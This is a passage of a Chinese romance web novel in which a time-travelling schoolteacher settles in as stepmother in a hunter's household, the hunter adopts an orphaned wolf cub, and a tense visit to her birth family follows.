饭菜的热气模糊了彼此间的生疏,只剩下咀嚼声和偶尔碗筷轻碰的声响,平淡却踏实。
吃完饭,赵林抢着收拾碗筷,赵峰帮着擦桌子,小静则亦步亦趋地跟着林若若,小手紧紧攥着她的衣角。
林若若带着小静洗漱完毕,又督促着赵林赵峰洗漱完,安顿好自己,看着他们躺进被窝。
“晚上若有事,就大声喊我。”林若若替他们掖了掖被角,“门闩我都检查过了,很牢。”
“嗯。”赵林点点头,闭上了眼睛。
赵峰看着林若若在昏黄灯光下柔和的脸庞,忽然小声问:“林姨……你真的会一直留在我们家吗?做我们的后娘吗?”
林若若一怔,对上少年眼中不易察觉的不安和期盼。
她伸手,轻轻抚了抚他的发顶,声音坚定而温柔:“会。这里就是我的家,你们都是我的孩子。”
赵林别过脸去,眼睫毛在不停地抖动。
赵峰则咧开嘴笑了,露出缺了一颗的门牙。
而睡在自己粉色床上的小静,已经抱着林若若给她做的兔子抱枕,甜甜地睡过去了~
夜色渐深,万籁俱寂。
院外偶尔传来几声犬吠,更衬得屋内安宁。
林若若望着窗外皎洁的月色,心中那份初来乍到的惶惑,不知不觉被一种沉甸甸的责任和暖意取代。
赵长风不在家,这个家更需要她稳稳地守着。
她想起了空间里那些快递,想起了神奇的灵泉,也想起了白日里那惊心动魄的挣扎和赵长风及时赶回的身影。
前途未知,但此刻,隔壁房间三个孩子均匀的呼吸,以及这个虽然简陋却被赵长风用心加固了的院落,都让她生出了无限的勇气。
自己在现代虽然只是个普通的小学老师,但自己有足够的耐心和爱心,也或许就因为这个,冥冥之中才让自己来到了这里。
中国人常说,既来之则安之,那就坦然接受命运,好好生活,活出不一样的自己~
去空间喝了一杯灵泉水,林若若躺进温暖的床上,慢慢睡去。
睡吧,明天会更好~
此时,青峰山下。
两辆大车静静地停在那里。
两个高大壮硕的男人正在往车上盖篷布。
“傻根,咱们这次一下子打到了两只野猪,卖了钱,给你买两身新衣裳。”赵长风看着傻根破了的外衫,有些愧疚。
之前卖猎物的银子,原本赵长风是帮傻根一起保管,但这次为了娶林美美,把两人这两年攒的银子全都搭进去了。结果林家还给他来这一招偷梁换柱!
幸好换来的林若若目前看来挺好,但林家他也得走一趟。这事得有个说法。
只是对不起傻根。把他那一百两银子也搭进去了。
傻根乐呵呵地说道:“风哥,俺不要新衣裳,俺就还想吃昨晚嫂子做的那个馍,俺想吃十个!”
赵长风眼眶一热,豪爽地点点头,“好!得咱们回来,让你嫂子给你做!保准让你吃饱!”
“得来!就知道风哥对俺最好!”
两辆大车,一辆大车装了一只野猪,绑的严严实实,有用篷布盖了,两人趁着夜色,各赶着一辆大车往县城而去。
每辆车前都挂了两盏气死风灯,赵长风打头,傻根跟在后面。
之所以选择晚上出发,一来早上是各饭馆的采购时间,而来路上不招眼。
这年头穷人多得很,坏人也多得很。保不准会有人躲在暗处,**你的猎物。
晚上虽然也可能遇到坏人,但两人的功夫对付十个壮汉不在话下,晚上即使**或
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者把对方打伤,也无人看到或者报官。
能免去不少麻烦。
所以,两人一直都是晚上出行。
气死风灯随着马车的前行而在风中摇晃,两人顺着官道,稳稳地走着。
马车是从县城的车行租来的,到了县城,卖了猎物再还回去。
走过一个拐弯的山脚,前边隐隐传来狼的叫声。
不似平日里那么响亮和中气十足,隐约有些孱弱。
赵长风打了个手势,速度慢了下来。
果然刚拐过山脚,路旁的林子里就窜出一头白狼!
拉车的马儿被惊吓,前蹄高高地扬起,发出尖锐惊恐的嘶鸣。
赵长风赶紧勒住缰绳,下了马车,从车底抽出大刀,护在马车前面。瞬息之间,傻根也提着大刀跟了上来。
路中间站着一头白狼身上血迹斑斑,后背一道伤口深可见骨,他的脚边,蜷缩着一只小狼,看着只有二个多月大,跟个小狗差不多。
小白狼身上也有鲜血,但不知道有没有受伤。
白狼向着黑色的天幕怒吼了一声,然后前膝跪下,冲着赵长风磕了个头。
“风哥,这白狼想干什么!”傻根的手心都出汗了。
“他受伤了,可能是想让我们收养他的孩子。”
“这可是狼!怎么收养?!”
赵长风收起大刀放回车底,然后从马车上拿出自己的药箱,然后看向白狼的眼睛,放软声音,“你是想让我收养你的孩子?”
白狼果然点了点头。
赵长风把箱子放在地上,打开,拿出药瓶,“我答应了,收养你的孩子,现在我要给你治伤上药,听得懂你就趴下。”
对面的白狼,看着赵长风,之后缓缓地趴下了。
傻根都傻眼了,“风哥,它居然听懂了!”
“嗯。你看好马车,我去给白狼治伤。”
“知道了。”
白狼背上的那道伤口深可见骨,皮肉外翻,鲜血淋漓。
因为在背上,所以白狼即使认得止血的草药,自己也敷不到背上,最后只能鲜血流干而死。
给白狼上完药,包扎好,又给它吃了解毒止血的药丸,喂了水,白狼舔了舔自己的孩子,转身走进了路旁的林子里……
第19章 平安归家~
赵长看着白狼的身影隐入深林之中,赵长风叹了口气,再次提醒自己,一定要小心小心再小心。
他有孩子,有妻子,还有一个兄弟,他不能倒下。
让傻根收起药箱,赵长风抱起小狼,用旧衣裳擦干净它身上的血,喂了点水,把它放到马车上的衣裳里,继续赶路。
一路马不停蹄,终于在天亮的时候赶到了县城。
两人先去了一条巷子,在一户人家门前停留了片刻,之后来到“醉仙楼”的后门,店里的东家果然在收野味。
赵长风上前,与早已熟识的醉仙楼掌柜打了招呼。
掌柜姓陈,是个精瘦的中年人,留着两撇山羊胡,看见赵长风便眼睛一亮,笑着迎上来:“赵老弟,这次又带来了什么好货?哟,这野猪可真够肥的!”
“陈掌柜。”赵长风抱拳,“两头野猪,都是昨日刚猎到的,新鲜。”
陈掌柜绕着两辆大车转了一圈,伸手掀开篷布一角仔细看了看野猪的成色和伤口,满意地点点头:
“伤口都在要害,皮**也完整,不错。老规矩,整猪我全要了,按市价给你算。”
两人一番讨价还价,最终以每头野猪十五两银子的价格成交。
两头野猪,一共九十两银子。这在乡下是一笔不小的财富了。
“陈掌柜,我要十两银子的现银,其他的八十两要银票。”
“得来,老弟放心,保管给你办好。”
陈掌柜一边让人卸货过秤,一边将赵长风拉到一旁,低声道:
“赵老弟,最近县衙那边似乎有些动静,好像是要征调一批猎户去北边山里清剿什么……我也是听来吃饭的差爷闲聊时提了一嘴,你消息灵通,自己多留心。”
北边深山老林里,近来确实有些不太平的风声,只是没想到县衙已经开始行动了。
赵长风心中一凛,面上不动声色,握住了掌柜的手,压低声音:“多谢陈掌柜提点。一株野山参已经送到家里,亲手交给嫂夫人了!”
陈掌柜颇有些感慨,拍了拍他的手背,一切尽在不言中。
赵长风知道,买卖要想做得长久,大家要共赢才行,否则都卖野味,人家凭什么次次收你的?
这次在深山围捕野猪,他发现了三株野山参,送了陈掌柜一支,另两只打算带回家,以备不时之需,没打算卖掉。
交割完毕,陈掌柜将十两现银,八十两银子的银票交给赵长风,又额外包了一包醉仙楼的招牌点心:“给你家孩子尝尝。”
赵长风道了谢,将银子和银票仔细收好,和傻根一起将空车赶到车行归还,结清了租费。然后又把自己家的骡车赶了出来。
揣着沉甸甸的银钱,赵长风先去了布庄,扯了几匹结实耐用的棉布,又挑了两块颜色鲜亮些的细棉布,想着给林若若和小静做新衣裳。
接着去杂货铺买了盐、糖、油等日常必需品,看到有卖饴糖和蜜饯的,也各称了一些。
最后,他来到了铁匠铺,给自己和傻根各添置了一把更趁手的**,又买了几支上好的箭镞。
打猎是生计,这次更关系生死,家伙什不能马虎。
最后,又去县衙托人打听了一下,县衙果真在招纳猎户,每个人单独密谈,要试功夫,要签生死状,但只要报名,回来后每人五十两银子,不论生死,活着自己来领,**,家里人来领。
赵长风和傻根商量了一下,都报了名,也顺利通过了。就等着具体出发的消息了。
回去的路上,两人找了家路边摊,吃了两大碗阳春面,又买了十几个热腾腾的肉包子带上。
“风哥,咱们这次赚了钱,是不是能给嫂子买件首饰?”傻根啃着包子,含糊地问。
赵长风一愣,他确实没想到这个。给林若若买首饰?
记忆中,前妻似乎从未向他提过这样的要求,而他自己也从未想过。林若若……她会喜欢吗?
“再说吧。对了,九十两银子,我七你三,你那二十五两,我给你存成银票,这二两银子留给你打酒买肉,可别又被人骗走了。算了,先给你一百文
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好了。”
赵长风前几天刚刚知道,前几次打猎,自己给傻根分的零钱,都被傻根隔壁的小寡妇王兰花骗走了。
脑子不灵光,处处被人骗被人欺负。
哎,看来自己以后得看紧点了。
骡车缓慢,但归心似箭。
来时载着重物,回去时只有些轻便货物和两人,速度快了许多。
傻根怀里抱着那只小白狼崽,小家伙吃了点温水泡软的干粮,此刻正蜷在旧衣裳里呼呼大睡,时不时还咂咂嘴。
“风哥,你说这狼崽子,咱真养啊?它长大了会不会咬人?”傻根有些担忧。
赵长风看着那团雪白的**球:“通人性的狼,比有些人强。既然答应了它母亲,就得养着。好好教,就是条好狗。”
他心里其实也有些没底,但承诺了就要做到。
而且,冥冥中他觉得,这白狼母子出现在他前行的路上,或许有些缘分。
天色将晚时,远远看到了赵家村的轮廓。
炊烟袅袅升起,正是晚饭时分。
赵长风心中莫名一暖,加快了赶车的速度。
家中,林若若刚把晚饭做好。
中午剩下的兔肉加了土豆重新炖过,香味扑鼻。
她又用新买的糙米混合着空间里偷偷掺入的一点精米,蒸了一锅喷香的米饭。
清炒了一盘后院摘的青菜,还煮了一锅野菜蛋花汤。
三个孩子早已望眼欲穿,尤其是赵峰,鼻子不停地嗅着空气中的香味。
“爹爹回来了!”趴在窗边的小静第一个看到院门外熟悉的身影。
赵林和赵峰赶紧收起脸上的笑意,拉着妹妹,来到院子里,迎接他们。
林若若擦了擦手,走到门边,看着赵长风将牛车赶进院子,脸上露出笑容。
傻根也憨笑着跳下车,手里还抱着个用旧布裹着的什么东西。
“回来了?你们先洗手,我还有个菜,一会儿就得,很快就吃饭。”
林若若笑道,目光落在傻根怀里那团蠕动的东西上,“这是……”
第20章 娘家相遇
赵长风放下小静,走过来,低声将昨晚遇到白狼托孤的事简单说了一遍。
林若若惊讶地睁大了眼睛,看着那从旧布里探出来的毛茸茸的小脑袋。
小家伙眼睛还没完全睁开,是漂亮的冰蓝色,湿漉漉的鼻子嗅了嗅,发出细微的哼唧声。
“好小……”林若若心一下子软了,伸手轻轻摸了摸小狼崽的脑袋。
小狼崽不仅没躲,反而蹭了蹭她的手指。
赵长风松了口气,他还担心林若若会害怕或不同意。
“先吃饭吧,它估计也饿了,待会儿找点肉汤喂它。”林若若道。
“我买了几个肉包子,一块热热。”看着林若若穿着青色衣裙的婀娜多姿的身影,赵长风说道。
估摸和赵长风和傻根的饭量,林若若又快速做了一个大锅菜。
用集市上买的五花肉爆锅,家里剩下的各种菜全都煮进去,又从空间拿了一把粉条,洗了之后放进去,满满一大盆,应该够吃了。
因着赵长风和傻根平安归来,再加上林若若做的好吃的饭菜,晚饭桌上,居然没有人说话,大家都埋头在吃。
林若若一边吃着饭菜,一边观察,她发现,几个孩子好像和赵长风并不怎么亲近,也不对,可能是他不常在家,几个孩子和他有些生疏,也有一些惧怕。
饭后,傻根主动去劈柴,赵林赵峰依然收拾碗筷,打扫厨房。
小静在院里逗弄那只暂时放在竹篮里的小狼崽。
赵长风把林若若叫到屋里,将赚到的钱,还有银票全都交给了林若若。
“这五十两银票是咱家的,这二十五两是傻根的,给他一块收着。这次一共打了两头野猪,卖了九十两银子。这些碎银,留给你做家用,过几天,我和傻根还会进山,家里就交给你了。”赵长风放下东西,一脸坦然。
林若若看着这些东西,挑了挑眉梢,一笑,“你就这么放心我?不怕我卷着这些跑了?”
赵长风被络腮胡子挡住的脸上看不到表情,但他的眼中有笑意闪过,“你不会。”
“为何?”
“直觉。对了,这些你收着好,家里日常开销,还有你们娘几个添置些东西。”
赵长风顿了顿,又从怀里掏出一个小布包,打开,里面是一支简单的银簪子,簪头是一朵小小的梅花。
“这个……路过银铺看到的,觉得……你应该能用上。”
林若若愣住了,看着那支在油灯光下泛着柔和光泽的银簪,心头蓦地一酸,随即又被一股暖流填满。
来到这里之后,第一次,有人专门为她买了礼物。
“谢谢。”她接过簪子,指尖触到微凉的银质,心里却热乎乎的,“很漂亮。”
赵长风见她喜欢,脸上也露出轻松的笑意:“你喜欢就好。对了,明天去你娘家一趟吧。我昨天就已经让人给你娘家捎信了。”
“好。”
夜深了,小狼崽被安顿在厨房温暖的角落。
林若若插着那支新得的梅花银簪,在灵泉空间里忙碌了一会儿,给新开辟的一小块地浇了水,里面种着从后山悄悄移栽来的几株草药。
顺便把赵长风给的两只野山参也种在了这里。
她喝了一杯灵泉水,感觉一天的疲乏尽去。
回到房间,隔壁孩子们均匀的呼吸声隐约可闻,赵长风大概也累得早早睡下了。
林若若躺在黑暗里,摸着发间的簪子,嘴角不自觉地上扬。
明天,又是新的一天了~
第二日,天刚蒙蒙亮,林若若便被窗外的动静惊醒。
她披衣起身,就见赵长风正弯腰往骡车上搬东西,油布裹着的点心匣子、两匹素色的棉布,两大坛子的米酒,还有半扇猪肉,堆得满满当当。
“怎么买这么多东西?”
傻根蹲在一旁,正仔细检查车轴,见她出来,咧嘴憨憨一笑:“嫂子,哥说今儿回你娘家,得体面些。”
林若若心头微暖,走过去帮着理了理棉布的边角。
赵长风直起身,目光落在她发间的梅花银簪上,虽然没有说话,眼角却有笑意。
他知道林若若有不少精致华丽的首饰
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和衣衫,毕竟也是在永平侯府生活了十几年的千金小姐,但今日她依然戴了自己送的银簪。
他莫名有些欢喜~
不多时,孩子们也醒了。
吃完早饭,赵林赵峰换上了林若若前几日刚做的新衣裳,略显拘谨地站在一旁;小静则抱着竹篮,篮里的小狗崽睡得正香,冰蓝色的眼皮轻轻颤着。
林若若告诉他们,这是一条小狗,一条小狼狗,让他们莫要害怕,好好养着。
“都上车吧。”赵长风扶着林若若上了骡车,又将三个孩子抱上去,自己则坐在前面驾着车,缓步往林家村的方向走去。
春日的风带着草木的清香,吹得人浑身舒坦。
林若若看着熟悉又陌生的田埂小路,心里竟生出几分忐忑。
这是她穿越过来,第一次踏足亲生父母家的门。
她还没有见过他们。
但原身见过一次。就是林美美到侯府,说自己是真正的侯府千金时,永平侯夫妇带着原身来过一次。
但原身非常抗拒来这里。
约莫半个时辰,林家村便到了。
村口的老槐树下,几个纳鞋底的妇人瞧见他们,顿时停下了手里的活计,窃窃私语起来。
林若若的娘家在村子东头,三间土坯房,院墙有些破败。
她刚下车,就听见院里传来一阵尖细的笑声,那声音,她再熟悉不过——是何美美。
林若若的脚步一顿,眉头几不可察地蹙起。
赵长风也察觉到不对,低声道:“别怕,有我。”
两人刚走进院门,就见院子里坐着好几个人。
她的爹娘正陪着一对男女说话,那男子身着锦缎长袍,腰间系着玉带,面容俊朗,眉宇间却带着几分倨傲,正是承恩侯府的魏天赐。
而依偎在魏天赐身边的,不是何美美是谁?
何美美显然也看到了他们,当即娇笑着迎上来,声音不大不小,刚好能让院子里的人都听见:
“哟,这不是若若姐姐吗?真是巧啊,我和天赐哥哥今日也来拜访伯父伯母呢~”
第21章 尴尬的归宁
何美美的目光在赵长风身上扫过,又落在林若若的银簪和孩子们的新衣裳上,嘴角的笑意带着几分刻意的讥讽:
“姐姐如今的日子,倒是过得越发舒坦自在了,这银簪,这布料,瞧着可不便宜呢。”
林若若的爹娘脸色一阵红一阵白,忙不迭地招呼:“若若,长风,你们来了,快进屋坐。”
林若若心里冷笑,面上却不动声色。她才不信这是巧合。
她穿越过来这么久,何美美从未踏足林家村半步,偏偏她今日回来,何美美就带着魏天赐来了。
分明是故意的。
可他们是怎么知道自己今日会回娘家的?
林若若的目光掠过何美美得意的脸庞,又看向一旁神色淡漠的魏天赐,心里的疑团越来越重。
赵长风将她的手握得更紧了些,往前一步,挡在她身前,对着林父林母拱手道:
“岳父岳母,小婿今日带若若和孩子们回来探望二老,些许薄礼,不成敬意。”
他的声音沉稳有力,带着一股不容置疑的气场,瞬间压下了院里的尴尬。
何美美脸上的笑容僵了僵,正要再说些什么,却见魏天赐忽然抬了抬手,淡淡道:“好了,既遇上了,便是缘分。若若,别来无恙?”
他的目光落在林若若身上,带着几分探究,几分留恋,还有几分说不清道不明的意味。
林若若心头一凛,挑了挑眉梢,面上却扬起一抹得体的笑:“劳世子挂心,一切安好。”
她知道,这一场鸿门宴,怕是躲不过了。
魏天赐的目光胶着在林若若身上,几乎移不开。
褪去了侯府锦衣华服的娇养,眼前的女子穿着素净的青色衣裙,发间只一支简单的梅花银簪,却越发显得肌肤莹润,眉眼清丽。
那双曾经总是痴痴看着自己的眼眸,此刻清澈明亮,透着一种他从未见过的鲜活与韧劲儿。而且眼中再也没有了对自己的爱慕和痴缠。
尤其是她与那粗野猎户并肩而立时,嘴角那抹自然的笑意,竟然那样的刺眼。
反观身边的何美美,回了侯府,金钗玉环,绫罗绸缎堆砌着,却总像一个跳梁小丑,满头的珠翠和满身的绫罗绸缎,衬得黑黄的脸色越发暗沉,更透着一股刻意拿捏的矜贵和挥之不去的俗艳。
此刻她正挽着自己,脸上是得意的笑,可那笑容在魏天赐看来,莫名有些扎心。
他心里那股憋闷和不甘,像野草一样疯长起来——林若若本该是他的妻,该站在他身边,与他共享荣华的人。
酒过三巡,场面话说了几轮,气氛始终有些微妙的凝滞。
林父林母小心翼翼,何美美故作亲热,魏天赐心不在焉,赵长风则沉默如山,只偶尔给林若若或孩子们夹菜。
饭后,大家聚在一起喝着何美美带来的茶,可魏天赐看自己的目光太过热切,林若若便寻了个由头,起身去厨房帮林母收拾,想暂时避开这令人不适的氛围。
厨房狭小,光线昏暗。
林母搓着手,有些局促:“若若,让你不自在了……他们突然就来了,我们也……”
“没事。”林若若挽起袖子,准备洗碗。
“不,不用你来洗!让小山来洗!小山!”林母一阵慌乱,生怕吓跑了自己的亲生女儿。
这么多年,女儿虽然过得好,但让她回到这个家,她总觉得拖累了孩子。
小山是家里的男孩,今年十三岁,是林若若的弟弟。
林小山也不知道为何,自己自小就不喜欢林美美,什么事都和她对着干!后来知道自己的亲姐姐居然不是林美美,林小山高兴极了!开始日日盼望着自己的亲姐姐回家。
谁知,亲姐姐林若若随着她那侯府的养父养母来家里的时候,姐姐居然对这个家,对父母对自己,满脸都是嫌弃和鄙视!
这一切,深深扎痛了林小山的心。
为此,对何美美,他十几年来,从来不亲近不亲热,不假辞色。
而自那以后,对林若若,他也是伤透了心。
“小山!你这孩子跑哪去了?快来帮你姐姐洗碗!”
林母朝着后院喊了一声,声音里带着点焦急,又转过头对林若若赔着笑,“你坐着,坐着就好,哪能让你动手。”
林若若心里微涩。<
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br>她能感觉到林母那种小心翼翼,近乎卑微的讨好。
这不是对待女儿的态度,倒像是对待一个需要巴结的客人。
看来原身上次来时毫不掩饰的鄙夷和嫌弃,给这对朴实的农家夫妻留下了太深的阴影。
她没再坚持,只默默将碗筷归拢到木盆里,准备去灶台边舀热水。
这时,后院的布帘被掀开,一个半大的少年闷头走了进来。
少年穿着洗得发白的粗布短打,身形有些瘦削,但骨架匀称。
他低着头,额前的碎发挡住了眼睛,看不清表情,只是沉默地走到木盆边,伸手就要去拿碗。
林若若抬眼看他。
这就是她的弟弟,林小山。
记忆里,原身那次回来,林小山最初是躲在门后偷偷看她的,眼里有好奇,也有怯生生的期待。
可当原身用那种看脏东西的眼神扫过他和这个家,嘴里吐出“穷酸”、“土气”之类的词时,少年眼里的光瞬间熄灭了,只剩下一片倔强的冷漠和受伤的愤怒。
他甚至狠狠瞪了原身一眼,扭头就跑了出去,之后再没露面。
此刻,林小山依旧垂着眼,嘴唇抿得紧紧的,一副“别理我”的抗拒模样。
但林若若注意到,他挽起袖口露出的手臂线条紧绷,洗碗的动作又快又重,仿佛在跟谁赌气。
林母在一旁看着,又是心疼儿子,又怕女儿不高兴,搓着手不知说什么好。
厨房里一时只剩下碗碟碰撞的轻响和柴火在灶膛里细微的噼啪声。
林若若没说话,转身走到灶台边。
锅里还剩一点热水,她拿起葫芦瓢,慢慢将热水兑进林小山手边的木盆,又转身从水缸里舀了些凉的。
“水太凉了,伤手。加点热的。”她的声音不高,平静自然,就像在说一件再平常不过的事。
林小山动作猛地一顿,手里的碗差点滑脱。
他飞快地抬眼瞥了林若若一下,那眼神里有一闪而过的诧异,随即又飞快垂下,耳根却悄悄爬上了一丝可疑的红晕。
他没吭声,但手上洗碗的动作不自觉地放轻了些……
第22章 疯了吧~
林若若也没再多话,转身去收拾灶台上的瓶瓶罐罐,又将用过的抹布拿到后院井边,打算洗干净。
她刚打好一桶水,身后传来略显迟疑的脚步声。
林小山端着洗好的碗筷出来,准备放到后院晾晒的架子上。
两人擦肩而过时,林若若闻到他身上淡淡的皂角味和阳光晒过棉布的气息。
“那个……”少年的声音有些干涩,低低的,几乎被风吹散,“……谢谢。”
说完,他快步走到架子边,背对着她,将碗一只只摆好,再盖上洗干净的薄棉布,动作有些慌乱。
之前,家里洗干净的碗都是直接放到柜子里,可是林若若上次回来嫌脏,说洗完还要控干水。
看到这里,林若若唇角微不可察地弯了弯。
这个林家,好像也不那么讨厌。
她没有立刻回应,而是仔细搓洗着手中的抹布,直到拧干,才转过身,看向少年依旧紧绷的背影。
“小山,”她叫了他的名字,语气平和,“以前……是姐姐不对。”
林小山摆碗的动作彻底停住了。
他僵在那里,肩膀几不可察地颤抖了一下。
林若若走到他身边,将洗净的抹布晾在绳子上,声音依旧平稳,却带着一种不容置疑的认真:
“过去的林若若,眼睛被侯府的锦绣迷住了,心也蒙了尘,看不见爹娘和你的好,说了许多混账话,做了许多混账事。我……替她跟你们赔不是。”
她顿了顿,看着少年微微颤动的睫毛,继续道:
“现在的林若若,就是林家的女儿,赵家的媳妇,是……你的姐姐。或许还做不好,但我在学。今天回来,就是想像寻常人家的女儿回门一样,看看爹娘,看看弟弟。”
一阵微风吹过,后院的枣树叶子沙沙作响。
林小山慢慢转过身。他终于抬起了头,眼眶有些发红,却倔强地没有让里面的水汽凝聚。
他定定地看着林若若,像是在审视她话里的真假。
眼前的女子,眉眼依旧清丽,却再没有了记忆中那种刺人的高傲和嫌弃。
她的眼神很干净,带着一种让他陌生的坦诚和……歉意。
良久,他有些别扭地移开视线,清了清嗓子,声音还是有些硬邦邦的:“……谁要你赔不是了。洗碗……本来就是我的活儿。”
说完,他像是觉得不够,又飞快地补充了一句,带着少年人特有的别扭关切:“你……你在那边,赵家……他们对你好吗?那个大胡子……”他想起赵长风高大沉默的样子,还有刚才在院子里,他挡在林若若身前的那一步。
林若若笑了,这次是真心实意的笑,眉眼弯弯:“他对我很好。孩子们也很好。”
林小山看着她的笑容,愣了一瞬,随即脸上那层坚冰般的冷漠,终于裂开了一道细缝。
他“哦”了一声,又低下头去摆弄碗碟,只是嘴角似乎极轻微地向上牵动了一下。
厨房门口,林母悄悄撩起布帘一角,看着后院井边相对而站的姐弟俩,虽然听不清具体说了什么,但那气氛,似乎不再像之前那样冰冷隔阂了。
她用手背擦了擦湿润的眼角,心里那块压了许久的巨石,仿佛松动了一些。
而前院里,何美美正拉着魏天赐,指着赵长风带来的那半扇猪肉和棉布,故作惊讶地抬高声音:
“哎哟,赵姐夫真是有心了,带这么多东西!不过也是,若若姐姐从小在侯府金尊玉贵地养着,吃穿用度都是顶好的,这乍一回来,是得多贴补些才行,不然可怎么过得惯这乡下的苦日子呢!”
她话音未落,就见林小山端着空木盆,绷着脸从后院走进来,冷冷地横了她一眼,那眼神里的厌恶毫不掩饰。
何美美被他看得一噎,脸上那假笑差点挂不住。
林小山没理她,径直走到赵长风身边,闷声说了句:“姐夫,柴火不多了,我去后院劈点。”这是他第一次主动跟赵长风说话,还叫了“姐夫”。
赵长风有些意外,但很快点了点头,沉声道:“
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我跟你一起去。”
何美美的脸色更难看了。
她原是想挑拨离间,炫耀自己和魏天赐带来的、远比这些“土气”礼物更值钱的绫罗绸缎和点心,顺便再踩一脚林若若如今的“落魄”。
却没料到,林小山这个一向对她冷脸的臭小子,竟然对那个猎户和林若若态度变了!
魏天赐将这一切看在眼里,心中那股烦闷愈发深重。
他看着林若若从后院走回来,发梢似乎还沾着一点井水的湿气,脸上带着一种轻松的神色,与林母低声说了句什么,林母竟露出了一丝安心的笑容。
这个家,这个天无比鄙夷的农家小院,似乎因为林若若的到来,正在发生某种微妙而温暖的变化。
而这种变化,与他,与何美美,与他们带来的所谓“富贵”,格格不入。
他忽然觉得,自己今日此行,像个彻头彻尾的笑话。
都怨那个何美美!
都已经贵为侯府的小姐,还还要回来和林若若一较高下,看人家笑话。
可是,何美美好像忘记了,这里曾是她长大的地方,她对这里的厌恶,对养父母的嫌弃,无不彰显着自己的冷淡和刻薄。
反观林若若,虽然从侯府的千金成了了乡下的女子,从高高在上的云端跌落满是灰尘的泥沼,但依然活得干净纯粹,知感恩,懂进退。
魏天赐握紧了拳头。
因为他的若若不见了。
原本若若的眼里只有他,他走到哪里,若若的目光就会跟随到哪里。眼中全是掩不住的爱恋。
可如今,她看自己,就如同看一个陌生人!
人的感情不可能变化如此之快!
魏天赐看向正在厨房忙活的窈窕的女子,想到她如花的容颜,他突然觉得,哪怕林若若此刻和这个糙猎户和离,他也能接受!
晃了晃脑袋,魏天赐觉得自己是不是疯了!
京城里那么多的黄花大闺女他看不上,难道偏偏心心念念要得到一个猎户的女人?!
疯了……
第23章 悔~
魏天赐正心乱如麻,却听见厨房里传来林若若温软的声音:“娘,过了晌午了,该备晚饭了。早些吃,我们今天还得回去呢。”
林母连忙应声,脸上带着久违的轻松笑意,转身要去取米粮,转过身那的瞬间,却红了眼眶。
自己的亲生女儿,加起来在家里待了还不够三天。
舍不得。
这时,何美美眼珠一转,也凑上前,亲**挽住林母的胳膊:
“林姨,让我和天赐哥来帮忙吧!天赐哥特意从京城带了上好的火腿和糟鹌鹑,还有南边来的精细粳米,正好让姐姐和姐夫也尝尝鲜。”她刻意咬重了“尝尝鲜”三个字,目光斜睨着林若若。
林母有些为难,看向自己的女儿。
林若若正挽起袖子,露出半截白皙纤细的手臂,闻言头也不抬,只淡淡道:
“不必了。回门饭,该吃自家的米,自家的菜。夫君带了新鲜的猪肉,灶上还煨着爹刚杀的鸡,足够了。”
她的声音不高,却带着一种安稳的笃定,将何美美那点炫耀的心思轻轻挡了回去。
何美美面色一僵,讪讪地松开手。
院子里,魏天赐看着屋里林若若低头择菜的侧影,一缕碎发垂在她颊边,随着动作轻轻晃动。
她神情专注,仿佛手头这最寻常的活计,比什么山珍海味、绫罗绸缎都更重要。那股陌生的、抓挠他心肺的感觉又涌了上来。
后院传来沉稳有力的劈柴声,是赵长风。
间或夹杂着林小山略显生硬却努力找话说的声音:“姐夫……这斧头用得还顺手吗?”
“顺手。”赵长风的回答简洁,随即是木柴干脆利落裂开的声响。
何美美听着这动静,再看看眼前油盐不进、只顾埋头干活的林若若,只觉得一拳打在棉花上,憋闷得厉害。
她猛地出了灶房,来到院子里,扯了扯魏天赐的袖子,压低声音,语气带着不甘和怨怼:“天赐哥,你看她!摆什么谱!还真把自己当回事了……”
“她如今过得如此凄惨,你休要如此!”魏天赐冷着脸,猛地甩开了她的手,“我和她自小相识,和你才认识几天?你还没有资格如此说她!”
动作不大,却让何美美猝不及防,踉跄了一下,愕然看向他,眼泪顿时在眼眶里打转。
魏天赐自己也愣住了。
他从未对何美美有过如此失礼的举动。
毕竟永平侯府的门楣在那里。
可心底那股无名的火,混合着失落、不甘,还有一丝连他自己都不愿深究的恐慌,烧得他心烦意乱。
他避开何美美难以置信的眼神,生硬地转过头:“……我出去透透气。”
说完,竟真的抬脚走出了厨房,径直朝院门外走去。
“天赐哥!”何美美急唤一声,脸上青红交加,又是委屈又是尴尬,狠狠剜了林若若一眼,终是踩了跺脚,追了出去。
厨房里霎时清净下来。
林母有些担忧地看了看门外,又看看女儿。
林若若却像是全然未觉,将择好的青菜放进清水盆里漂洗,水声哗啦,映着她平静无波的眉眼。
“若若……”林母欲言又止。
“娘,”林若若擦干手,转过身,握住林母有些粗糙的手,微微一笑,“傍晚我们吃豆芽炒野鸡丝,贴饼子,再打个蛋花汤。夫君和小山干了活,得吃实在些。”
她的掌心温暖干燥,眼神清澈坚定。林母心里那点残存的忧虑,忽然就散了,反手握紧女儿,用力点了点头:“哎!娘给你烧火!”
后院,赵长风劈柴的动作顿了顿,侧耳倾听片刻前院的动静,又继续挥动斧头。
只是那棱角分明的脸上,浓眉几不可察地蹙了一下,随即又舒展开,斧刃落下的轨迹,更稳,更准。
林小山蹲在旁边整理劈好的柴禾,偷偷抬眼看了看姐夫宽阔的脊背,又竖起耳朵听了听前院隐约传来的、何美美气急败坏又强压着的声音,嘴角撇了撇,低声嘟囔:“……就知道显摆,讨人嫌。”
声音很小,但赵长风似乎听见了,动作未停,只从喉间沉沉“嗯”了一声。
这一声,听得林小山心里
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莫名踏实了些。
“对了,你几个弟弟妹妹呢?”赵长风看了看自己这个小舅子,眉眼舒展。他指的是赵林赵峰还有赵小静。
“爹带他们去后山抓蚂蚱玩去了。”
说完,他抱起一捆柴,往厨房走去,脚步比来时轻快了不少。
好不容易把何美美甩开,魏天赐站在院墙外那棵老槐树下,望着远处起伏的山峦,胸口窒闷。
何美美追出来,絮絮叨叨地抱怨着什么,他一句也没听进去。
他只是忍不住回头,又望了一眼那低矮却炊烟袅袅的农院。
那烟是青白的,悠悠地升上湛蓝的天,混着饭菜即将出锅的香气,是一种他从未在意过、如今却觉异常生动真实的烟火气。
而曾经满心满眼都是他的那个明媚如朝阳的少女,就在那片烟火气里,安安稳稳地过着他曾经不屑一顾、如今却仿佛再也够不到的日子。
他依然不肯相信,若若仅仅是换了一个姓氏,就不爱自己了。
是了!
魏天赐的眼神突然亮了起来!
一定是的林若若摆脱不了家庭安排的亲事,只能把对自己满腔的爱意,深深地埋在心底。
怕被她的野蛮夫君发现!
毕竟那男人有过一个婆娘,还生了三个孩子!而若若则是大家闺秀千金小姐不可同日而语。
可是,他不嫌弃!
他愿意出钱让他们和离!
哪怕她已不是完璧之身,他也愿意把若若带回侯府!不为正室,为妾也好!或者单独在府外买个宅子,安置她!
